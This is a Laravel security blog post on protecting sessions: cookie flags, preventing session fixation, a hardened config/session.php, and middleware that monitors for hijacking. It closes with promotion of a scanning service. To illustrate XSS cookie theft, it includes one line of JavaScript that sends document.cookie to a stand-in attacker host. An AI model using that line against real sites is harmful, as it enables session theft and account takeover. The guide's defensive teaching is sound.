# Laravel Session Security: Cookies, Hijacking & config/session.php

> A deep dive into Laravel session security. Learn how cookie flags, session drivers, and config/session.php settings protect against hijacking, fixation, and sidejacking attacks.

**Author:** Matt King | **Published:** May 9, 2026 | **Category:** Security

---

Laravel's session system is one of those things that works out of the box, which means most developers never look at it closely. The defaults are reasonable for development, but production applications need tighter configuration to defend against session hijacking, fixation, and sidejacking attacks.

This guide walks through how Laravel sessions work, what each security-relevant setting does, and how to configure `config/session.php` for production.

---

## How Laravel Sessions Work

When a user visits your Laravel application, the framework creates a session and stores a session ID in a cookie called `laravel_session` (by default). On every subsequent request, Laravel reads this cookie, looks up the corresponding session data, and makes it available via the `session()` helper or `$request->session()`.

The critical security point: whoever possesses that session ID cookie is, from your application's perspective, that user. Protecting the session ID is protecting authentication itself.

Laravel supports several session drivers, each with different security properties:

| Driver | Storage Location | Server-Side Invalidation | Scalability |
|--------|-----------------|--------------------------|-------------|
| `file` | Local filesystem | No (requires file deletion) | Single server only |
| `cookie` | User's browser | No | Stateless |
| `database` | Database table | Yes | Multi-server |
| `redis` | Redis store | Yes | Multi-server |
| `memcached` | Memcached | Yes | Multi-server |
| `array` | Memory (testing) | N/A | N/A |

The `cookie` driver is the least secure for sensitive applications because all session data is stored client-side. Even though Laravel encrypts it, you lose the ability to invalidate sessions server-side, and you are transmitting all session data on every request.

---

## Cookie Security Flags: Your First Line of Defense

Three cookie attributes directly affect session security: `Secure`, `HttpOnly`, and `SameSite`. Each protects against a different attack vector.

### HttpOnly

When `HttpOnly` is set to `true`, JavaScript cannot access the cookie via `document.cookie`. This is your primary defense against XSS-based session theft.

Without `HttpOnly`, an attacker who finds an [XSS vulnerability](/blog/laravel-xss-protection-guide) can steal session cookies with a simple script:

```javascript
// Without HttpOnly, this works:
fetch('https://attacker.com/steal?cookie=' + document.cookie);
```

With `HttpOnly` enabled, the browser refuses to expose the cookie to JavaScript. The cookie still gets sent with HTTP requests, but it is invisible to client-side code.

```php
// config/session.php
'http_only' => true,  // Always true in production
```

### Secure

The `Secure` flag tells the browser to only send the session cookie over HTTPS connections. Without it, the cookie is transmitted in plaintext over HTTP, making it trivially interceptable on shared networks (coffee shop Wi-Fi, hotel networks, corporate LANs).

This is the attack known as session sidejacking. An attacker on the same network runs a packet sniffer, captures the plaintext session cookie from an HTTP request, and replays it.

```php
// config/session.php
'secure' => true,  // Requires HTTPS. Set to true in production.
```

If your application serves any traffic over HTTP (even a redirect), an unprotected session cookie can be intercepted during that single request. Set `Secure` to `true` and ensure your web server redirects all HTTP traffic to HTTPS before the application even handles the request.

### SameSite

The `SameSite` attribute controls cross-site cookie behavior:

- **`Lax`** (Laravel default): Cookie is sent on same-site requests and top-level navigations (clicking a link). Blocked on cross-site POST requests. This prevents most CSRF attacks.
- **`Strict`**: Cookie is never sent on cross-site requests. More secure but can break expected flows (users clicking links to your app from emails or other sites will not be logged in).
- **`None`**: Cookie is sent on all requests including cross-site. Requires `Secure` flag. Only use this if you genuinely need cross-site cookie access (embedded iframes, for example).

```php
// config/session.php
'same_site' => 'lax',  // Good default for most applications
```

---

## Session Fixation: How Laravel Prevents It

Session fixation works like this:

1. Attacker creates a session on your application and obtains a session ID
2. Attacker tricks the victim into using that session ID (via a crafted URL, injected cookie, or other method)
3. Victim logs in. The session is now authenticated.
4. Attacker uses the same session ID, which is now authenticated, to access the victim's account.

Laravel prevents this by regenerating the session ID during authentication. When a user logs in through Laravel's auth system, the framework calls `session()->regenerate()`, which creates a new session ID and invalidates the old one.

You can verify this in `Illuminate\Auth\SessionGuard`:

```php
// This happens automatically during login
$this->session->regenerate();
```

If you are building custom authentication logic, you must call this yourself:

```php
// Custom login controller
public function login(Request $request)
{
    $credentials = $request->validate([
        'email' => 'required|email',
        'password' => 'required',
    ]);

    if (Auth::attempt($credentials)) {
        // CRITICAL: Regenerate session ID after authentication
        $request->session()->regenerate();

        return redirect()->intended('/dashboard');
    }

    return back()->withErrors([
        'email' => 'The provided credentials do not match our records.',
    ]);
}
```

Also regenerate on logout to prevent reuse of the old session:

```php
public function logout(Request $request)
{
    Auth::logout();

    // Invalidate the session entirely
    $request->session()->invalidate();

    // Generate a new CSRF token
    $request->session()->regenerateToken();

    return redirect('/');
}
```

The `invalidate()` method destroys all session data and creates a fresh session. The `regenerateToken()` call ensures the CSRF token is also refreshed.

---

## Session Hijacking Techniques and Defenses

Understanding how sessions get stolen helps you configure defenses appropriately.

### 1. XSS Cookie Theft

**Attack:** Attacker injects JavaScript that reads `document.cookie` and exfiltrates the session ID.

**Defense:** `HttpOnly` flag. Also fix the XSS vulnerability itself. See our [XSS protection guide](/blog/laravel-xss-protection-guide) for Blade-specific patterns.

### 2. Network Sniffing (Sidejacking)

**Attack:** Attacker captures plaintext HTTP traffic containing the session cookie. This is trivial on shared networks using tools like Wireshark.

**Defense:** `Secure` cookie flag plus enforced HTTPS with HSTS headers. Your Nginx config should include:

```nginx
server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name yourdomain.com;

    # HSTS: tell browsers to always use HTTPS
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

    # ... rest of config
}
```

### 3. Session Prediction

**Attack:** Attacker guesses valid session IDs by exploiting weak random number generation.

**Defense:** Laravel uses `random_bytes()` for session ID generation, which is cryptographically secure. This is not a practical attack vector against modern Laravel applications.

### 4. Cross-Site Request Smuggling

**Attack:** Attacker tricks the user's browser into sending authenticated requests to your application.

**Defense:** `SameSite` cookie attribute combined with Laravel's CSRF token verification. Both are enabled by default.

---

## config/session.php: Before and After

Here is a typical default `config/session.php` compared with a production-hardened version.

### Before (Development Defaults)

```php
// config/session.php - INSECURE defaults
return [
    'driver' => env('SESSION_DRIVER', 'file'),
    'lifetime' => 120,
    'expire_on_close' => false,
    'encrypt' => false,
    'cookie' => env('SESSION_COOKIE', 'laravel_session'),
    'path' => '/',
    'domain' => env('SESSION_DOMAIN'),
    'secure' => env('SESSION_SECURE_COOKIE'),
    'http_only' => true,
    'same_site' => 'lax',
];
```

### After (Production Hardened)

```php
// config/session.php - PRODUCTION configuration
return [
    // Use database or redis for server-side session storage
    'driver' => env('SESSION_DRIVER', 'redis'),

    // 30 minutes of inactivity, not 2 hours
    'lifetime' => env('SESSION_LIFETIME', 30),

    // Close browser = end session for sensitive apps
    'expire_on_close' => true,

    // Encrypt session data at rest
    'encrypt' => true,

    // Use a non-default cookie name to avoid fingerprinting
    'cookie' => env('SESSION_COOKIE', '__app_session'),

    'path' => '/',

    // Restrict to your exact domain
    'domain' => env('SESSION_DOMAIN', '.yourdomain.com'),

    // HTTPS only - prevents sidejacking
    'secure' => true,

    // No JavaScript access - prevents XSS cookie theft
    'http_only' => true,

    // Lax prevents CSRF on cross-site POSTs
    'same_site' => 'lax',
];
```

Key changes explained:

1. **`driver` changed to `redis`**: Server-side storage enables session invalidation and monitoring
2. **`lifetime` reduced to 30**: Shorter sessions reduce the window for hijacking. Adjust based on your application's needs.
3. **`expire_on_close` set to `true`**: For sensitive applications, sessions should not persist after the browser closes
4. **`encrypt` set to `true`**: Encrypts session data before it is written to storage. This matters if your Redis or database is compromised.
5. **Cookie name changed**: The default `laravel_session` immediately identifies your framework, making targeted attacks easier
6. **`secure` set to `true`**: No session cookies over HTTP, ever
7. **`domain` explicitly set**: Prevents the cookie from leaking to unintended subdomains

If your session configuration does not match these recommendations, [check your current settings](/fix/insecure-session-config) for specific remediation steps.

---

## Database and Redis Sessions: Security Benefits

Switching from file-based to database or Redis sessions provides three security capabilities you do not get otherwise.

### 1. Server-Side Session Invalidation

With file sessions, invalidating a specific user's session means finding and deleting a file on disk. With database sessions, it is a query:

```php
// Force logout a specific user (database driver)
use Illuminate\Support\Facades\DB;

DB::table('sessions')
    ->where('user_id', $compromisedUserId)
    ->delete();
```

With Redis:

```php
// Force logout by deleting the session key
use Illuminate\Support\Facades\Redis;

// You'll need the session ID, or iterate user sessions
Redis::del('laravel_session:' . $sessionId);
```

This is essential for incident response. If an account is compromised, you need to invalidate all active sessions for that user immediately.

### 2. Session Monitoring

Database sessions let you query active sessions and detect anomalies:

```php
// Find users with sessions from multiple IP addresses
$suspicious = DB::table('sessions')
    ->select('user_id', DB::raw('COUNT(DISTINCT ip_address) as ip_count'))
    ->whereNotNull('user_id')
    ->groupBy('user_id')
    ->having('ip_count', '>', 3)
    ->get();

// Find sessions with unusually long durations
$stale = DB::table('sessions')
    ->where('last_activity', '<', now()->subHours(24)->timestamp)
    ->whereNotNull('user_id')
    ->get();
```

### 3. Setting Up Database Sessions

Run the session table migration:

```bash
php artisan session:table
php artisan migrate
```

This creates a `sessions` table with columns for `id`, `user_id`, `ip_address`, `user_agent`, `payload`, and `last_activity`. Update your `.env`:

```env
SESSION_DRIVER=database
```

For Redis, ensure the Redis PHP extension is installed and configured:

```env
SESSION_DRIVER=redis
SESSION_CONNECTION=session  # Use a dedicated Redis connection
```

Define a dedicated Redis connection in `config/database.php` to isolate session data from cache data:

```php
'redis' => [
    'session' => [
        'url' => env('REDIS_URL'),
        'host' => env('REDIS_HOST', '127.0.0.1'),
        'password' => env('REDIS_PASSWORD'),
        'port' => env('REDIS_PORT', '6379'),
        'database' => env('REDIS_SESSION_DB', '1'),  // Separate DB from cache
    ],
],
```

---

## Monitoring for Suspicious Session Activity

Beyond configuration, you should actively monitor session behavior. Here is a middleware that logs session anomalies:

```php
namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;

class SessionSecurityMonitor
{
    public function handle(Request $request, Closure $next)
    {
        if ($request->user()) {
            $currentIp = $request->ip();
            $currentAgent = $request->userAgent();
            $sessionIp = $request->session()->get('_security_ip');
            $sessionAgent = $request->session()->get('_security_agent');

            if ($sessionIp && $sessionIp !== $currentIp) {
                Log::warning('Session IP changed', [
                    'user_id' => $request->user()->id,
                    'old_ip' => $sessionIp,
                    'new_ip' => $currentIp,
                    'session_id' => $request->session()->getId(),
                ]);
            }

            if ($sessionAgent && $sessionAgent !== $currentAgent) {
                Log::warning('Session user agent changed', [
                    'user_id' => $request->user()->id,
                    'old_agent' => $sessionAgent,
                    'new_agent' => $currentAgent,
                    'session_id' => $request->session()->getId(),
                ]);
            }

            $request->session()->put('_security_ip', $currentIp);
            $request->session()->put('_security_agent', $currentAgent);
        }

        return $next($request);
    }
}
```

Register this middleware in your `bootstrap/app.php`:

```php
->withMiddleware(function (Middleware $middleware) {
    $middleware->append(\App\Http\Middleware\SessionSecurityMonitor::class);
})
```

A changing IP address or user agent mid-session is a strong indicator of session hijacking. Whether you log it, force re-authentication, or invalidate the session depends on your application's risk profile.

---

## Session Security Checklist

Review your application against this list:

1. Session driver set to `database` or `redis` (not `file` or `cookie`)
2. `secure` set to `true` (HTTPS-only cookies)
3. `http_only` set to `true` (no JavaScript access)
4. `same_site` set to `lax` or `strict`
5. `encrypt` set to `true`
6. Session lifetime is 30 minutes or less for sensitive applications
7. `session()->regenerate()` is called on login
8. `session()->invalidate()` is called on logout
9. HSTS header is configured on your web server
10. Session monitoring or anomaly detection is in place

For a broader review of your Laravel application's security posture, see our [2026 security checklist](/blog/laravel-security-checklist-2026).

---

## External Verification Matters

You can configure all of these settings correctly in `config/session.php` and still have them fail in production. Environment variable overrides, reverse proxy configurations, and CDN settings can all alter cookie behavior after deployment.

[StackShield](https://stackshield.io) checks your session cookie flags externally, verifying that `Secure`, `HttpOnly`, and `SameSite` are actually present on the cookies your production server sends. This catches misconfigurations that only appear after deployment.

[Run a free scan to verify your session cookie configuration](/free-scan).

---

## Frequently Asked Questions

### What is session hijacking in Laravel?

Session hijacking occurs when an attacker obtains a valid session ID belonging to another user. They can then impersonate that user by sending requests with the stolen session cookie. Common techniques include XSS-based cookie theft, network sniffing on unencrypted connections, and session sidejacking on shared networks. Laravel provides several built-in defenses including HttpOnly cookies, Secure flag enforcement, and session regeneration on login.

### What is the difference between session fixation and session hijacking?

Session fixation is when an attacker sets a known session ID before the victim logs in, then uses that same ID after authentication. Session hijacking is when an attacker steals an already-authenticated session ID. Laravel prevents fixation by calling session()->regenerate() during authentication, which creates a new session ID after login and invalidates the old one.

### Should I use database or Redis sessions in Laravel for security?

Both database and Redis session drivers are more secure than the default file or cookie drivers because they store session data server-side, giving you the ability to invalidate sessions on demand, monitor active sessions, and detect anomalies. Redis is generally faster while database sessions are easier to query and audit. Either is a significant security improvement over file-based sessions in production.

### What does the SameSite cookie attribute do for session security?

The SameSite attribute controls whether the browser sends the session cookie with cross-site requests. Setting it to Lax (Laravel's default) prevents the cookie from being sent on cross-site POST requests, which blocks most CSRF attacks. Setting it to Strict prevents the cookie from being sent on any cross-site navigation, though this can break legitimate flows like clicking links from emails. The None value allows cross-site sending but requires the Secure flag.

